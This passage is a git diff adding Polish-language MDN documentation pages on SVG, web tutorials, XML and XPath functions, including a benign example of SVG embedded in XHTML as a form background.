+ <dd><small>Przegląd projektu Mozilla SVG.</small></dd>
+ </dl>
+
+ <dl>
+ <dt><a href="pl/Mozilla_SVG_FAQ">Mozilla SVG FAQ</a></dt>
+ <dd><small>Powyższy FAQ oparty został początkowo na grupie dyskusyjnej mozilla.dev.tech.svg oraz forach forums.mozillazine.org.</small></dd>
+ </dl>
+
+ <p><span class="alllinks"><a>Pokaż wszystkie...</a></span></p>
+ </td>
+ <td>
+ <h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4>
+
+ <ul>
+ <li>Obejrzyj fora Mozilli...</li>
+ </ul>
+
+ <p>{{ DiscussionList("dev-tech-svg", "mozilla.dev.tech.svg") }}</p>
+
+ <ul>
+ <li><a class="external" href="http://wiki.svg.org/">SVG Wiki</a></li>
+ </ul>
+
+ <h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia">Narzędzia</h4>
+
+ <ul>
+ <li><a class="external" href="http://www.w3.org/Graphics/SVG/Test/">SVG Test Suite</a></li>
+ <li><a class="external" href="http://jiggles.w3.org/svgvalidator/">Walidator SVG</a></li>
+ </ul>
+
+ <p><span class="alllinks"><a>Pokaż wszystkie...</a></span></p>
+
+ <h4 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h4>
+
+ <ul>
+ <li><a class="external" href="http://www.croczilla.com/svg/samples/">Przykłady SVG</a> (croczilla.com)</li>
+ <li><a class="external" href="http://www.carto.net/papers/svg/samples/">Więcej przykładów</a> (carto.net)</li>
+ </ul>
+
+ <h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h4>
+
+ <dl>
+ <dd><a href="pl/XML">XML</a>, <a href="pl/HTML/Canvas">Canvas</a></dd>
+ </dl>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">Categories</span></p>
+
+<p><span class="comment">Interwiki Language Links</span></p>
+
+<p> </p>
+
+<p>{{ languages( { "en": "en/SVG", "es": "es/SVG", "fr": "fr/SVG", "it": "it/SVG", "ja": "ja/SVG", "pt": "pt/SVG" } ) }}</p>
diff --git a/files/pl/web/svg/inne_zasoby/index.html b/files/pl/web/svg/inne_zasoby/index.html
new file mode 100644
index 0000000000..6e5f2508b8
--- /dev/null
+++ b/files/pl/web/svg/inne_zasoby/index.html
@@ -0,0 +1,19 @@
+---
+title: Inne zasoby
+slug: Web/SVG/Inne_zasoby
+tags:
+ - SVG
+ - Wszystkie_kategorie
+translation_of: Web/SVG/Other_Resources
+---
+<p>
+</p>
+<h3 id="Wszystkie_inne_zasoby" name="Wszystkie_inne_zasoby"> Wszystkie inne zasoby </h3>
+<ul><li> <a class="external" href="http://www.croczilla.com/svg/">Zasoby Mozilla SVG</a>
+</li><li> <a class="external" href="http://svg.org/">SVG.org</a>
+</li><li> <a class="external" href="http://www.svgx.org/">SVGX.org</a>
+</li><li> <a class="external" href="http://www.w3.org/Graphics/SVG/">Strona domowa W3C SVG</a>
+</li><li> <a class="external" href="http://www.w3.org/Graphics/SVG/Test/">Sprawdzian obsługi SVG</a>
+</li><li> <a class=" external" href="http://wiki.svg.org/index.php?title=Server_Configuration" rel="freelink">http://wiki.svg.org/index.php?title=..._Configuration</a>
+</li></ul>
+{{ languages( { "en": "en/SVG/Other_Resources", "ja": "ja/SVG/Other_Resources" } ) }}
diff --git a/files/pl/web/svg/przewodnik/index.html b/files/pl/web/svg/przewodnik/index.html
new file mode 100644
index 0000000000..7f150c7110
--- /dev/null
+++ b/files/pl/web/svg/przewodnik/index.html
@@ -0,0 +1,28 @@
+---
+title: SVG Poradnik
+slug: Web/SVG/Przewodnik
+tags:
+ - SVG
+ - 'SVG:Przewodnik'
+ - Wszystkie_kategorie
+translation_of: Web/SVG/Tutorial
+---
+<p> </p>
+
+<p><br>
+ Poniższy przewodnik opisuje wersję 1.1 Skalowalnej Grafiki Wektorowej <a href="pl/SVG">SVG</a>, a dialektu XML W3C częściowo zaimplementowanego w Firefoksie 1.5, Operze 8.5 oraz innych przeglądarkach.</p>
+
+<p>Jest on na <strong>bardzo</strong> wczesnym etapie rozwoju. Każda pomoc będzie doceniona!</p>
+
+<h5 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h5>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/SVG/Przewodnik/Introduction">Wprowadzenie</a></li>
+ <li><a href="pl/SVG/Przewodnik/Na_pocz%c4%85tek">Na początek</a></li>
+ <li>Wiele innych wpisów</li>
+ <li><a href="pl/SVG/Przewodnik/Inne_przewodniki">Inne przewodniki</a></li>
+</ul>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/SVG/Tutorial", "fr": "fr/SVG/Tutoriel", "ja": "ja/SVG/Tutorial" } ) }}</p>
diff --git a/files/pl/web/svg/przewodnik/svg_w_xhtml_-_wprowadzenie/index.html b/files/pl/web/svg/przewodnik/svg_w_xhtml_-_wprowadzenie/index.html
new file mode 100644
index 0000000000..f816909090
--- /dev/null
+++ b/files/pl/web/svg/przewodnik/svg_w_xhtml_-_wprowadzenie/index.html
@@ -0,0 +1,78 @@
+---
+title: SVG w XHTML - Wprowadzenie
+slug: Web/SVG/Przewodnik/SVG_w_XHTML_-_Wprowadzenie
+tags:
+ - SVG
+ - Wszystkie_kategorie
+translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction
+---
+<p>
+</p>
+<h3 id="Podsumowanie"> Podsumowanie </h3>
+<p>Ten artykuł oraz powiązany z nim przykład pokazują, jak używać <a href="pl/SVG">SVG</a> osadzonego w <a href="pl/XHTML">XHTML</a>, jako tła dla formularza. Pokazuje ponadto, jak <a href="pl/JavaScript">JavaScript</a> i <a href="pl/CSS">CSS</a> mogą być zastosowane do manipulowania obrazem w analogiczny sposób, jak kodem XHTML. Uwaga: poniższy przykład będzie działał wyłącznie w przeglądarkach obsługujących integrację XHTML (nie HTML) z SVG (jak np. Firefox 1.5 Beta 1 - <i>przyp. tłum.</i>)
+</p>
+<h3 id="Kod_.C5.BAr.C3.B3d.C5.82owy"> Kod źródłowy </h3>
+<p>Poniżej przedstawiono kod źródłowy <a class="external" href="http://developer.mozilla.org/presentations/xtech2005/svg-canvas/SVGDemo.xml">przykładu zastosowania</a> SVG osadzonego w XHTML:
+</p>
+<pre>&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+&lt;head&gt;
+ &lt;title&gt;XTech SVG Demo&lt;/title&gt;
+ &lt;style&gt;
+ stop.begin { stop-color:yellow; }
+ stop.end { stop-color:green; }
+ body.invalid stop.end { stop-color:red; }
+ #err { display:none; }
+ body.invalid #err { display:inline; }
+ &lt;/style&gt;
+ &lt;script&gt;
+ function signalError() {
+ document.getElementById('body').setAttribute("class", "invalid");
+ }
+ &lt;/script&gt;
+&lt;/head&gt;
+&lt;body id="body"
+ style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"&gt;
+ &lt;form&gt;
+ &lt;fieldset&gt;
+ &lt;legend&gt;HTML Form&lt;/legend&gt;
+ &lt;p&gt;&lt;label&gt;Enter something:&lt;/label&gt;
+ &lt;input type="text"/&gt;
+ &lt;span id="err"&gt;Incorrect value!&lt;/span&gt;&lt;/p&gt;
+ &lt;p&gt;&lt;button onclick="signalError();"&gt;Activate!&lt;/button&gt;&lt;/p&gt;
+ &lt;/fieldset&gt;
+ &lt;/form&gt;
+ &lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1"
+ viewBox="0 0 100 100" preserveAspectRatio="xMidYMid slice"
+ style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;"&gt;
+ &lt;linearGradient id="gradient"&gt;
+ &lt;stop class="begin" offset="0%"/&gt;
+ &lt;stop class="end" offset="100%"/&gt;
+ &lt;/linearGradient&gt;
+ &lt;rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /&gt;
+ &lt;circle cx="50" cy="50" r="30" style="fill:url(#gradient)" /&gt;
+ &lt;/svg&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+<h3 id="Om.C3.B3wienie"> Omówienie </h3>
+<p>Powyższa strona składa się głównie ze zwykłego XHTML, CSS i JavaScriptu. Interesującą częścią
+jest element &lt;svg&gt;. Ten element i jego elementy potomne zostały zadeklarowane w przestrzeni nazw SVG. Element ten zawiera gradient oraz dwie figury nim wypełnione. Kolory ograniczników (ang. <i>stops</i>) gradientu zostały ustawione przez CSS. Kiedy użytkownik wprowadzi coś nieprawidłowego do pola formularza, skrypt ustawia atrybut "<code>invalid</code>" na elemencie &lt;body&gt;, a odpowiednia regułka CSS zmienia końcowy kolor na czerwony. Kolejna regułka CSS wyświetla komunikat o błędzie.
+</p><p>To podejście ma następujące zalety:
+</p>
+<ul><li> zastosowaliśmy zwykły formularz XHTML, który mógłby być częścią istniejącej strony www i dodaliśmy atrakcyjne, interaktywne tło
+</li><li> zachowana została wsteczna kompatybilność z przeglądarkami, które nie obsługują SVG; po prostu nie pojawi się w nich żadne tło
+</li><li> rozwiązanie to jest proste i wydajne
+</li><li> obraz dynamicznie dopasowuje się do żądanych rozmiarów w inteligentny sposób
+</li><li> możemy mieć deklaratywne regułki stylów działające i z HTML, i z SVG
+</li><li> ten sam skrypt manipuluje zarówno XHTML jak i SVG
+</li><li> dokument jest całkowicie oparty na standardach
+</li></ul>
+<h3 id="Szczeg.C3.B3.C5.82y"> Szczegóły </h3>
+<p>Atrybut <code>viewBox</code> tworzy logiczny układ współrzędnych dla obrazu SVG. W tym przypadku nasz obraz jest wyświetlany w oknie (<i>viewport</i>) 100 na 100.
+</p><p>Atrybut <code>preserveAspectRatio</code> sprawia, że stosunek wymiarów obrazu musi być zachowany, centrując obraz, zmieniając jego wymiary do największej możliwej długości lub szerokości (zależnie od tego, która jest większa) i odcinając ewentualne przepełnienie.
+</p><p>Atrybut <code>style</code> przypina element SVG do tła formularza.
+</p>
+<h3 id="Inne_strony"> Inne strony </h3>
+<ul><li> Inny przykład SVG w XHTML: <a class="external" href="http://developer.mozilla.org/en/docs/index.php?title=SVG:Namespaces_Crash_Course:Example">Rój pyłków (en)</a>
+</li><li> Strona <a class="external" href="http://svg-whiz.com/wiki/index.php?title=Inline_SVG">Inline SVG</a> na wiki SVG
+</li></ul>
+{{ languages( { "en": "en/SVG_In_HTML_Introduction", "fr": "fr/Introduction_\u00e0_SVG_dans_HTML", "ja": "ja/SVG_In_HTML_Introduction" } ) }}
diff --git a/files/pl/web/tutorials/index.html b/files/pl/web/tutorials/index.html
new file mode 100644
index 0000000000..f05eeea0ad
--- /dev/null
+++ b/files/pl/web/tutorials/index.html
@@ -0,0 +1,154 @@
+---
+title: Tutorials
+slug: Web/Tutorials
+translation_of: Web/Tutorials
+---
+<p>Linki na tej stronie prowadzą do wielu różnych tutoriali i materiałów treningowych. Nieważne, czy dopiero zaczynasz, uczysz się podstaw czy może nawet jesteś starym wyjadaczem w tworzeniu stron, tutaj znajdziesz pomocne materiały. Są one stworzone przez patrzące w przyszłość firmy oraz deweloperów, którzy używają otwartych standardów i najlepszych praktyk w tworzeniu stron, którymi następnie  dzielą się na wolnych licencjach takich jak Creative Commons.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Tutoriale HTML</h2>
+
+<h3 id="Wprowadzenie">Wprowadzenie</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Guide/HTML/Introduction">Wprowadzenie do HTML</a></dt>
+ <dd>O tym, czym jest HTML, co on robi, jego skrótowej historii a także jak wygląda struktura dokumentu HTML. Kolejne artykuły rozwijają o wiele bardziej poszczególne części HTML. </dd>
+ <dt><a href="http://reference.sitepoint.com/html/page-structure" rel="external">Podstawowa struktura strony internetowej</a> (SitePoint)</dt>
+ <dd>Naucz się jak elementy HTML pasują razem ze sobą.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/HTML/Element">MDN HTML Informacje o Elementach </a></dt>
+ <dd>Wszechstronne źródło informacji o elementach HTML i jak różne przeglądarki je wspierają.</dd>
+ <dt><a href="http://wikiversity.org/wiki/Web_Design/HTML_Challenges" rel="external">Wyzwania HTML</a> (Wikiversity)</dt>
+ <dd>Podejmij wyzwanie - użyj ich do szlifowania swoich umiejętności w HTML (przykładowo "Czy powinienem użyć elementu &lt;h2&gt; czy &lt;strong&gt;?".</dd>
+ <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt>
+ <dd>Code Avengers to przyjemny i efektywny sposób nauki programowania aplikacji internetowych i gier z użyciem HTMLa, CSSa, i JavaScriptu.</dd>
+</dl>
+
+<h3 id="Poziom_zaawansowany">Poziom zaawansowany</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Tips_for_Authoring_Fast-loading_HTML_Pages">Wskazówki tworzenia szybko ładujących się stron HTML</a></dt>
+ <dd>Zoptymalizuj strony, aby były one bardziej responsywne dla użytkowników i jednocześnie zmniejsz obciążenie swojego serwera i połączenia z Internetem.</dd>
+ <dt><a href="http://www.html5rocks.com/tutorials/" rel="external">Tutoriale HTML5 </a> (HTML5 Rocks)</dt>
+ <dd>Wybierz wycieczkę z oprowadzeniem poprzez kod, który używa funkcjonalności zaprezentowanych w HTML5.</dd>
+ <dt><a href="http://www.alistapart.com/articles/semanticsinhtml5/" rel="external">Semantyka w HTML5</a> (A List Apart)</dt>
+ <dd>Naucz się istotnej składni, którą można rozszerzyć, a także jest kompatybilna wstecz i naprzód.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Canvas_tutorial">Canvas Tutorial</a></dt>
+ <dd>Naucz się jak tworzyć grafikę poprzez użycie skryptów używających elementu canvas.</dd>
+ <dt><a href="http://html5doctor.com/" rel="external">HTML5 Doktor</a></dt>
+ <dd>Artykuły o obecnym wykorzystaniu HTML5.</dd>
+ <dt><a href="http://www.elated.com/articles/html5-audio/" rel="external">Przyjemność dźwięku w HTML5</a> (Elated)</dt>
+ <dd>Naucz się użycia elementu audio w HTML aby być w stanie łatwo dołączać dźwięk do Twoich stron. Wiele przykładów jest zawartych w tym tutorialu.</dd>
+</dl>
+
+<h2 class="Documentation" id="Documentation" name="Documentation">Tutoriale Javascript</h2>
+
+<h3 id="Poziom_wstępny">Poziom wstępny</h3>
+
+<dl>
+ <dt><a href="http://www.codecademy.com/">Codecademy</a> (Codecademy)</dt>
+ <dd>Codecademy to prosta droga do nauki pisania w JavaScripcie. Jest interaktywny i możesz z niego korzystać ze znajomymi.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Getting_Started">Getting Started with JavaScript</a></dt>
+ <dd>What is JavaScript and how can it help you?</dd>
+ <dt><a href="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices" rel="external">JavaScript Best Practices</a><a href="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices" title="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices"> </a>(WebPlatform.org)</dt>
+ <dd>Learn about some of the obvious and (not so) obvious best practices when writing JavaScript.</dd>
+ <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt>
+ <dd>Code Avengers is the fun, effective way to learn to code web apps and games with HTML, CSS, and JavaScript.</dd>
+ <dt><a href="http://codecombat.com/#">CodeCombat</a> (codecombat.com)</dt>
+ <dd>CodeCombat is a game designed to teach you JavaScript. It is Open Source.</dd>
+</dl>
+
+<h3 id="Intermediate_level">Intermediate level</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/A_re-introduction_to_JavaScript">A Re-Introduction to JavaScript</a></dt>
+ <dd>A recap of the JavaScript programming language aimed at intermediate-level developers.</dd>
+ <dt><a href="http://eloquentjavascript.net/contents.html" rel="external">Eloquent JavaScript</a></dt>
+ <dd>A comprehensive guide to intermediate and advanced JavaScript methodologies.</dd>
+ <dt><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">Essential JavaScript Design Patterns</a> (Addy Osmani)</dt>
+ <dd>An introduction to essential JavaScript design patterns.</dd>
+ <dt><a href="http://www.yuiblog.com/blog/2007/01/24/video-crockford-tjpl/" rel="external">The JavaScript Programming Language</a> (YUI Blog)</dt>
+ <dd>Douglas Crockford explores the language as it is today, and how it came to be.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Introduction_to_Object-Oriented_JavaScript">Introduction to Object-Oriented JavaScript</a></dt>
+ <dd>Learn about the JavaScript object model.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h3 id="Advanced_level">Advanced level</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide">JavaScript Guide</a></dt>
+ <dd>A comprehensive, regularly updated guide to JavaScript for all levels of learning from beginner to advanced.</dd>
+ <dt><a href="http://ejohn.org/apps/learn/" rel="external">Learning Advanced JavaScript</a> (John Resig)</dt>
+ <dd>John Resig's guide to advanced JavaScript.</dd>
+ <dt><a href="http://www.elated.com/articles/javascript-dom-intro/" rel="external">Introducing the JavaScript DOM</a> (Elated)</dt>
+ <dd>What is the Document Object Model, and why is it useful? This article gives you a gentle introduction to this powerful JavaScript feature.</dd>
+ <dt><a href="http://yuiblog.com/blog/2006/10/20/video-crockford-domtheory/" rel="external">An Inconvenient API: The Theory of the DOM</a> (YUI Blog)</dt>
+ <dd>Douglas Crockford explains the Document Object Model.</dd>
+ <dt><a href="http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/" rel="external">Advanced JavaScript</a> (YUI Blog)</dt>
+ <dd>Douglas Crockford looks closely at code patterns from which JavaScript programmers can choose in authoring their applications.</dd>
+ <dt><a href="http://bonsaiden.github.com/JavaScript-Garden/" rel="external">JavaScript Garden</a></dt>
+ <dd>Documentation of the most quirky parts of JavaScript.</dd>
+ <dt><a href="http://webcache.googleusercontent.com/search?q=cache:CJYRO48hw9EJ:stackoverflow.com/questions/394601/which-javascript-framework-jquery-vs-dojo-vs" rel="external">Which JavaScript Framework?</a> (StackOverflow)</dt>
+ <dd>Advice on choosing a JavaScript framework.</dd>
+ <dt><a href="http://yuiblog.com/blog/2008/07/22/non-blocking-scripts/" rel="external">Non-Blocking JavaScript Downloads</a> (YUI Blog)</dt>
+ <dd>Tips on improving the download performance of pages containing JavaScript.</dd>
+ <dt><a href="http://shichuan.github.io/javascript-patterns" rel="external">Javascipt Patterns</a></dt>
+ <dd>A JavaScript pattern and antipattern collection that covers function patterns, jQuery patterns, jQuery plugin patterns, design patterns, general patterns, literals and constructor patterns, object creation patterns, code reuse patterns, DOM.</dd>
+</dl>
+
+<h2 class="Documentation" id="Documentation" name="Documentation">CSS tutorials</h2>
+
+<h3 id="Introductory_level">Introductory level</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started">CSS Getting Started</a></dt>
+ <dd>This tutorial introduces you to Cascading Style Sheets (CSS). It guides you through the basic features of CSS with practical examples that you can try for yourself on your own computer.</dd>
+ <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_Classes" rel="external">CSS Selector Classes</a> (Wikiversity)</dt>
+ <dd>What are classes in CSS?</dd>
+ <dt><a href="http://en.wikiversity.org/wiki/Web_Design/External_CSS" rel="external">External CSS</a> (Wikiversity)</dt>
+ <dd>Using CSS from an external style sheet.</dd>
+ <dt><a href="http://www.w3.org/MarkUp/Guide/Style" rel="external">Adding a Touch of Style</a> (W3C)</dt>
+ <dd>A brief beginner's guide to styling web pages with CSS.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Common_CSS_Questions">Common CSS Questions</a></dt>
+ <dd>Common questions and answers for beginners.</dd>
+ <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt>
+ <dd>Code Avengers is the fun, effective way to learn to code web apps and games with HTML, CSS, and JavaScript.</dd>
+ <dt><a href="http://techstream.org/Web-Design/CSS-selectors" title="http://codeavengers.com/">CSS Selectors</a> (TechStream.org)</dt>
+ <dd>Quite nice and detailed overview of CSS selectors.</dd>
+</dl>
+
+<h3 id="Intermediate_level_2">Intermediate level</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference">CSS Reference</a></dt>
+ <dd>Complete reference to CSS, with details on support by Firefox and other browsers.</dd>
+ <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_challenges" rel="external">CSS Challenges</a> (Wikiversity)</dt>
+ <dd>Flex your CSS skills, and see where you need more practice.</dd>
+ <dt><a href="http://www.html.net/tutorials/css/" rel="external">Intermediate CSS Concepts</a> (HTML.net)</dt>
+ <dd>Grouping, pseudo-classes, and more.</dd>
+ <dt><a href="http://www.alistapart.com/articles/css-positioning-101/" rel="external">CSS Positioning 101</a> (A List Apart)</dt>
+ <dd>Using positioning for standards-compliant, table-free layout.</dd>
+ <dt><a href="http://www.alistapart.com/articles/progressiveenhancementwithcss/" rel="external">Progressive Enhancement with CSS</a> (A List Apart)</dt>
+ <dd>Integrate progressive enhancement into your web pages with CSS.</dd>
+ <dt><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">Fluid Grids</a> (A List Apart)</dt>
+ <dd>Design layouts that fluidly resize with the browser window, while still using a typographic grid.</dd>
+</dl>
+
+<h3 id="Advanced_level_2">Advanced level</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transforms">Using CSS Transforms</a></dt>
+ <dd>Apply rotation, skewing, scaling, and translation using CSS.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_transitions">CSS Transitions</a></dt>
+ <dd>CSS transitions, part of the draft CSS3 specification, provide a way to animate changes to CSS properties, instead of having the changes take effect instantly.</dd>
+ <dt><a href="http://www.html5rocks.com/tutorials/webfonts/quick/" rel="external">Quick Guide to Implement Web Fonts with @font-face</a> (HTML5 Rocks)</dt>
+ <dd>The @font-face feature from CSS3 allows you to use custom typefaces on the web in an accessible, manipulatable, and scalable way.</dd>
+ <dt><a href="http://davidwalsh.name/starting-css" rel="external">Starting to Write CSS</a> (David Walsh)</dt>
+ <dd>An introduction to tools and methodologies to write more succinct, maintainable, and scalable CSS.</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/pl/web/xml/index.html b/files/pl/web/xml/index.html
new file mode 100644
index 0000000000..63fd3a53f6
--- /dev/null
+++ b/files/pl/web/xml/index.html
@@ -0,0 +1,17 @@
+---
+title: 'XML: Rozszerzalny Język Znaczników'
+slug: Web/XML
+tags:
+ - Draft
+ - Landing
+ - NeedsTranslation
+ - TopicStub
+ - Web
+ - XML
+translation_of: Web/XML
+---
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/XML")}}{{Draft}}</p>
+
+<p class="summary">The <strong>Extensible Markup Language</strong> is a strict serialisation of the <a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model</a>.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/pl/web/xml/wprowadzenie_do_xml-a/index.html b/files/pl/web/xml/wprowadzenie_do_xml-a/index.html
new file mode 100644
index 0000000000..fbc828653f
--- /dev/null
+++ b/files/pl/web/xml/wprowadzenie_do_xml-a/index.html
@@ -0,0 +1,46 @@
+---
+title: Wprowadzenie do XML-a
+slug: Web/XML/Wprowadzenie_do_XML-a
+tags:
+ - CSS
+ - HTML
+ - Wszystkie_kategorie
+ - XML
+ - XSLT
+translation_of: Web/XML/XML_introduction
+---
+<p>
+</p><p><span>Summary: This article introduces the 'eXtensible Markup Language' (XML) and tells of it's uses.</span>
+</p>
+<h3 id="Czym_jest_XML.3F"> Czym jest XML? </h3>
+<p>XML, akronim od <b>Extensible Markup Language</b> (<b>Rozszerzalny Język Znaczników</b>), jest językiem znaczników tworzonym przez <a class="external" href="http://www.w3.org/">W3C</a> do celów ogólnych. XML jest także podjęzykiem dla SGML-a.
+</p><p>Wiele popularnych języków znaczników bazuje na XMLu, jak np. <a href="pl/XHTML">XHTML</a>, <a href="pl/MathML">MathML</a>, <a href="pl/SVG">SVG</a>, <a href="pl/XUL">XUL</a> i inne takie jak <a href="pl/RSS">RSS</a> oraz <a href="pl/RDF">RDF</a>.
+</p>
+<h3 id="Czemu_HTML_nie_dzia.C5.82a.3F"> Czemu HTML nie działa? </h3>
+<p>Składnia HTML-a jest ustalona, HTML służy wyłącznie do celów prezentacji danych, natomiast XML służy zarówno do prezentacji jak i obróbki treści.
+</p><p>HTML jest ograniczony w trzech aspektach: "inteligencji" opisu informacji, pielęgnacji oraz adaptowalności kodu, w których XML jest właśnie silny: inteligentnie opisuje informację, pozwala na wygodną pielęgnację oraz adaptację kodu.
+</p><p>XML różni się też od HTML-a tym, że HTML jest językiem prezentacji, a XML językiem ogólnego zastosowania. Te dwa języki mogą zostać użyte na raz dzięki <a href="pl/XSLT">XSLT</a>.
+</p>
+<h3 id=".22Poprawny.22_XML"> "Poprawny" XML </h3>
+<p>Aby dokument XML był poprawny, musi zostać poprawnie sformatowany i spełniać wszystkie zasady składni XML-a. Większość przeglądarek, włączając w to Mozillę posiada debugger, który potrafi pokazać błędy składniowe dokumentu.
+</p>
+<h3 id="Prezentacja_XML-a"> Prezentacja XML-a </h3>
+<p>Są dwie metody na korzystanie z XML-a do prezentacji danych.
+</p><p>Pierwsza, to skorzystanie z technologii CSS do formatowania danych XML.
+</p>
+<pre>&lt;?xml-stylesheet type="text/css" href="stylesheet.css"?&gt;</pre>
+<p>Druga, to skorzystanie z potęgi XSLT, który jest w stanie transformować składnię XML do ogromnej ilości innych formatów (PDF, HTML, obrazki, WAP itd.).
+</p>
+<pre>&lt;?xml-stylesheet type="text/xsl" href="transform.xsl"?&gt;</pre>
+<h3 id="Zalecenia"> Zalecenia </h3>
+<p>Polecamy przeczytanie innych poradników do <a href="pl/XML">XML</a>-a i odświeżenie wiedzy na temat jego składni. Należy pamiętać, że ten poradnik jest tylko krótkim wstępem dla osób, które nigdy nie zetknęły się z językiem XML lub innymi językami znacznikowymi.
+</p><p>Warto nauczyć się języka HTML, aby lepiej zrozumieć XML, lub zapoznać się z innymi przewodnikami z tej strony.
+</p>
+<div class="originaldocinfo">
+<h3 id="Informacja_o_wersji"> Informacja o wersji </h3>
+<ul><li> Autor: Justin G. Shreve
+</li><li> Ostatnia aktualizacja: 19 Maja
+</li><li> Tłumaczenie: Zbigniew Braniecki
+</li></ul>
+</div>
+{{ languages( { "en": "en/XML_Introduction", "es": "es/Introducci\u00f3n_a_XML", "fr": "fr/Introduction_\u00e0_XML", "ja": "ja/XML_Introduction", "zh-cn": "cn/XML_\u4ecb\u7ecd" } ) }}
diff --git a/files/pl/web/xpath/funkcje/boolean/index.html b/files/pl/web/xpath/funkcje/boolean/index.html
new file mode 100644
index 0000000000..15009d3c16
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/boolean/index.html
@@ -0,0 +1,38 @@
+---
+title: boolean
+slug: Web/XPath/Funkcje/boolean
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/boolean
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>boolean</code> ocenia wyrażenie i zwraca prawdę (<code>true</code>) lub fałsz (<code>false</code>).
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">boolean( <i>wyrażenie</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>wyrażenie</i></code>
+</dt><dd>Oceniane wyrażenie. Wyrażenie może odnosić się zarówno do liczb, jak i do zestawów wierzchołków tak samo jak do wartości logicznych. </dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Wartość logiczną <code>true</code> lub <code>false</code> po ocenie <code><i>wyrażenie</i></code>.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> Fałsz, jeśli liczba jest zerem lub <code>NaN</code> (nie jest liczbą). Inaczej jest prawdą.
+</li><li> Wierzchołek jest oceniany jako prawda, jeśli nie jest on pusty. </li><li> Fałsz, jeśli łańcuch znaków jest pusty. Inaczej jest prawdą.
+</li><li> Typ obiektu inny niż cztery typy podstawowe jest konwertowany do wartości logicznej w sposób zależny od tego typu.
+</li></ul>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-boolean" class="external">XPath 1.0 4.3</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/boolean", "fr": "fr/XPath/Fonctions/boolean", "ja": "ja/XPath/Functions/boolean" } ) }}
diff --git a/files/pl/web/xpath/funkcje/ceiling/index.html b/files/pl/web/xpath/funkcje/ceiling/index.html
new file mode 100644
index 0000000000..ddfd5595e4
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/ceiling/index.html
@@ -0,0 +1,36 @@
+---
+title: ceiling
+slug: Web/XPath/Funkcje/ceiling
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/ceiling
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>ceiling</code> ocenia liczbę dziesiętną i zwraca najmniejszą liczbę całkowitą większą lub równą podanej liczbie dziesiętnej. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">ceiling( <i>liczba</i> )
+</pre>
